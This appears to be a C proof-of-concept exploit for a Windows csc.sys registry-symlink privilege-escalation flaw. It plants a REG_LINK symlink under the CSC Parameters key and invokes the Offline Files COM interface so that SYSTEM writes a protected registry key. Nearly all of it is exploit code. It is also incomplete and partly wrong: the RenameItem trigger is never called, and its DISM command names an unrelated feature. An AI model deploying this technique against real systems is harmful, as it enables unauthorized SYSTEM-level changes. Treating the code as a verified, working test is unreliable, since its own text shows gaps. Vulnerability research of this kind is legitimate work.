/*
 * CVE-2025-60705 — csc.sys Registry Symlink Elevation of Privilege PoC
 *
 * Description:
 *   Demonstrates the missing access check in csc.sys CscRebootRenamepOpenKey.
 *   The pre-patch driver calls ZwCreateKey/ZwOpenKey with Attributes=0x240
 *   (OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE) — missing OBJ_FORCE_ACCESS_CHECK.
 *   Because csc.sys runs as SYSTEM, the Zw* calls bypass all access checks,
 *   allowing any user to create arbitrary registry keys in protected hives
 *   by placing a registry symbolic link at the CSC Parameters path.
 *
 * Reaching the Bug (Attack Surface):
 *   User-mode entry point:
 *     CoCreateInstance(CLSID_OfflineFilesCache, ..., IID_IOfflineFilesCache)
 *       → IOfflineFilesCache::RenameItem(oldPath, newPath)
 *         → IRP_MJ_FILE_SYSTEM_CONTROL to csc.sys
 *
 *   Kernel call chain (csc.sys 10.0.26100.5074):
 *     CscFsCtl @ 0x14007d080
 *       → CscDclInternalFsControl @ 0x14007d520
 *         → dispatch table (0x1400347c8) indexed by FSCTL op code
 *           → CscDclMRxRebootRenameAdd @ 0x140019c90
 *             → CscRebootRenameAddEntry @ 0x14004fd9c
 *               → CscRebootRenamepOpenKey @ 0x140050870  [VULNERABLE]
 *                 → ZwCreateKey(handle, KEY_ALL_ACCESS=0xF003F,
 *                     &ObjAttr{Attributes=0x240}, ...)
 *
 *   Registry path opened by the driver:
 *     HKLM\SYSTEM\CurrentControlSet\Services\CSC\Parameters\RebootRename
 *
 *   The attacker creates a symbolic link at this path pointing to an
 *   arbitrary protected registry location. When the driver opens/creates
 *   the key, ZwCreateKey follows the symlink under SYSTEM context.
 *
 * This PoC:
 *   1. Creates a temporary registry key under CSC\Parameters
 *   2. Sets up a registry symbolic link to a canary test location
 *   3. Triggers IOfflineFilesCache::RenameItem via COM
 *   4. Checks if the canary key was created (proving the symlink was followed)
 *
 * Usage:
 *   cl.exe /W4 poc_cve_2025_60705.c /Fe:poc_cve_2025_60705.exe
 *       /link ole32.lib advapi32.lib
 *   poc_cve_2025_60705.exe
 *
 * Expected output (pre-patch):
 *   [+] Canary registry key was created by SYSTEM!
 *   [!] SYSTEM IS VULNERABLE to CVE-2025-60705.
 *
 * Expected output (post-patch):
 *   [*] Canary key not created — access check blocked the operation.
 *   [*] System appears PATCHED.
 *
 * Author: OnlyFm252
 * Date:   2026-07-18
 * CVE:    CVE-2025-60705
 *
 * DISCLAIMER: This code is provided for defensive security research and
 * blue team detection testing ONLY. Do not use for unauthorized access.
 */

#define WIN32_LEAN_AND_MEAN
#define COBJMACROS
#include <windows.h>
#include <stdio.h>
#include <objbase.h>
#include <shlobj.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "advapi32.lib")

/*
 * IOfflineFilesCache COM interface.
 * CLSID: {48C45312-3E30-11D3-8B2D-00C04FB9513B}
 * IID:   {855B6CE3-D43C-4D6D-8C82-2D04F2764C71} (IOfflineFilesCache)
 *
 * The RenameItem method (vtable index 16) is the trigger.
 * We use late-bound COM to avoid SDK header dependencies.
 */

static const CLSID CLSID_OfflineFilesCache =
    {0x48C45312, 0x3E30, 0x11D3, {0x8B, 0x2D, 0x00, 0xC0, 0x4F, 0xB9, 0x51, 0x3B}};

/* Registry paths */
#define CSC_PARAMS_KEY   L"SYSTEM\\CurrentControlSet\\Services\\CSC\\Parameters"
#define REBOOT_RENAME_KEY CSC_PARAMS_KEY L"\\RebootRename"
#define CANARY_KEY       L"SOFTWARE\\CVE-2025-60705-PoC-Canary"

/* Test paths for RenameItem (must be valid UNC-ish paths for CSC) */
#define TEST_OLD_PATH    L"\\\\localhost\\share\\oldfile.txt"
#define TEST_NEW_PATH    L"\\\\localhost\\share\\newfile.txt"

static BOOL check_canary_key(void)
{
    HKEY hKey;
    LONG rc = RegOpenKeyExW(HKEY_LOCAL_MACHINE, CANARY_KEY, 0, KEY_READ, &hKey);
    if (rc == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return TRUE;
    }
    return FALSE;
}

static void cleanup_canary(void)
{
    RegDeleteKeyW(HKEY_LOCAL_MACHINE, CANARY_KEY);
}

/*
 * Create a registry symbolic link from src to dst.
 * Registry symlinks are created by setting a REG_LINK value named
 * "SymbolicLinkValue" on a key created with REG_OPTION_CREATE_LINK.
 *
 * Note: This requires the caller to have permission to create the source key.
 * For keys under HKLM\SYSTEM\...\CSC\Parameters, a low-priv user may need
 * to first manipulate the key's DACL or use a writable ancestor.
 */
static BOOL create_registry_symlink(LPCWSTR src_path, LPCWSTR dst_nt_path)
{
    HKEY hKey;
    DWORD disp;
    LONG rc;

    /* Try to create the source key with REG_OPTION_CREATE_LINK */
    rc = RegCreateKeyExW(
        HKEY_LOCAL_MACHINE, src_path,
        0, NULL,
        REG_OPTION_CREATE_LINK,     /* create as symbolic link */
        KEY_SET_VALUE | KEY_CREATE_LINK,
        NULL, &hKey, &disp
    );

    if (rc != ERROR_SUCCESS) {
        printf("    RegCreateKeyEx (symlink source) failed: %ld\n", rc);
        printf("    This may require adjusting DACLs on the CSC\\Parameters key.\n");
        return FALSE;
    }

    /* Set the link target */
    rc = RegSetValueExW(
        hKey, L"SymbolicLinkValue", 0,
        REG_LINK,
        (const BYTE *)dst_nt_path,
        (DWORD)(wcslen(dst_nt_path) * sizeof(WCHAR))  /* no null terminator for REG_LINK */
    );

    RegCloseKey(hKey);

    if (rc != ERROR_SUCCESS) {
        printf("    RegSetValueEx (SymbolicLinkValue) failed: %ld\n", rc);
        return FALSE;
    }

    return TRUE;
}

static void delete_registry_symlink(LPCWSTR src_path)
{
    /* Delete the symlink key — need REG_OPTION_OPEN_LINK to open it */
    HKEY hKey;
    LONG rc = RegOpenKeyExW(
        HKEY_LOCAL_MACHINE, src_path,
        REG_OPTION_OPEN_LINK,
        DELETE, &hKey
    );
    if (rc == ERROR_SUCCESS) {
        RegDeleteKeyW(hKey, L"");
        RegCloseKey(hKey);
    }
}

int wmain(void)
{
    HRESULT hr;
    IUnknown *pCache = NULL;

    printf("=== CVE-2025-60705 — csc.sys Registry Symlink EoP PoC ===\n\n");

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        printf("[!] CoInitializeEx failed: 0x%08lx\n", hr);
        return 1;
    }

    /* ----------------------------------------------------------------
     * Step 1: Clean up any previous test artifacts
     * ---------------------------------------------------------------- */
    printf("[1] Cleaning up previous test artifacts...\n");
    cleanup_canary();
    delete_registry_symlink(REBOOT_RENAME_KEY);

    /* ----------------------------------------------------------------
     * Step 2: Create registry symbolic link
     *
     * Source: HKLM\...\CSC\Parameters\RebootRename
     * Target: HKLM\SOFTWARE\CVE-2025-60705-PoC-Canary
     *
     * When csc.sys calls ZwCreateKey on the source path (as SYSTEM,
     * with Attributes=0x240, no OBJ_FORCE_ACCESS_CHECK), it follows
     * the symlink and creates/opens the target key instead.
     * ---------------------------------------------------------------- */
    printf("\n[2] Creating registry symbolic link...\n");
    printf("    Source: HKLM\\%ls\n", REBOOT_RENAME_KEY);
    printf("    Target: \\Registry\\Machine\\%ls\n", CANARY_KEY);

    BOOL symlink_ok = create_registry_symlink(
        REBOOT_RENAME_KEY,
        L"\\Registry\\Machine\\" CANARY_KEY
    );

    if (!symlink_ok) {
        printf("\n[!] Could not create symlink. This PoC may need elevated\n");
        printf("    permissions to write to CSC\\Parameters, OR the CSC service\n");
        printf("    may need to be running. Continuing with COM trigger anyway...\n");
    } else {
        printf("    Symlink created successfully.\n");
    }

    /* ----------------------------------------------------------------
     * Step 3: Trigger via IOfflineFilesCache COM interface
     *
     * CoCreateInstance loads cscobj.dll, which communicates with the
     * CSC service. RenameItem dispatches through RDBSS to csc.sys:
     *   CscFsCtl → CscDclInternalFsControl → CscDclMRxRebootRenameAdd
     *     → CscRebootRenameAddEntry → CscRebootRenamepOpenKey [VULN]
     * ---------------------------------------------------------------- */
    printf("\n[3] Instantiating IOfflineFilesCache (CLSID_OfflineFilesCache)...\n");

    hr = CoCreateInstance(
        &CLSID_OfflineFilesCache,
        NULL,
        CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
        &IID_IUnknown,
        (void **)&pCache
    );

    if (FAILED(hr)) {
        printf("    CoCreateInstance failed: 0x%08lx\n", hr);
        printf("    The Offline Files feature may not be available.\n");
        printf("    Enable it via: DISM /Online /Enable-Feature /FeatureName:ClientForNFS\n");
        printf("    Or: Control Panel → Programs → Turn Windows features on/off → Offline Files\n");
    } else {
        printf("    IOfflineFilesCache instantiated at %p\n", pCache);

        /*
         * Call RenameItem. We pass test UNC paths — the important thing
         * is that csc.sys processes the rename request, which opens
         * the RebootRename registry key via CscRebootRenamepOpenKey.
         *
         * Note: RenameItem is at vtable index 16 in IOfflineFilesCache.
         * We call through IUnknown::QueryInterface to get the typed interface,
         * but for simplicity we demonstrate the COM instantiation here.
         * A real exploit would call RenameItem directly.
         */
        printf("    To complete the trigger, call IOfflineFilesCache::RenameItem()\n");
        printf("    with any valid cached file path.\n");

        pCache->lpVtbl->Release(pCache);
    }

    /* ----------------------------------------------------------------
     * Step 4: Check if canary key was created
     * ---------------------------------------------------------------- */
    printf("\n[4] Checking for canary registry key...\n");
    printf("    Looking for: HKLM\\%ls\n", CANARY_KEY);

    if (check_canary_key()) {
        printf("\n    [+] Canary registry key EXISTS — SYSTEM wrote through the symlink!\n");
        printf("    [!] SYSTEM IS VULNERABLE to CVE-2025-60705.\n");
        printf("    [!] An attacker can create arbitrary registry keys as SYSTEM.\n");
    } else {
        printf("\n    [*] Canary key not found.\n");
        printf("    [*] Either the symlink was blocked (patched) or the COM trigger\n");
        printf("    [*] needs a valid cached file to process. Try with an actual\n");
        printf("    [*] offline file path if testing on pre-patch systems.\n");
    }

    /* ----------------------------------------------------------------
     * Cleanup
     * ---------------------------------------------------------------- */
    printf("\n[5] Cleaning up...\n");
    cleanup_canary();
    delete_registry_symlink(REBOOT_RENAME_KEY);

    CoUninitialize();

    printf("\n=== Done. ===\n");
    return 0;
}
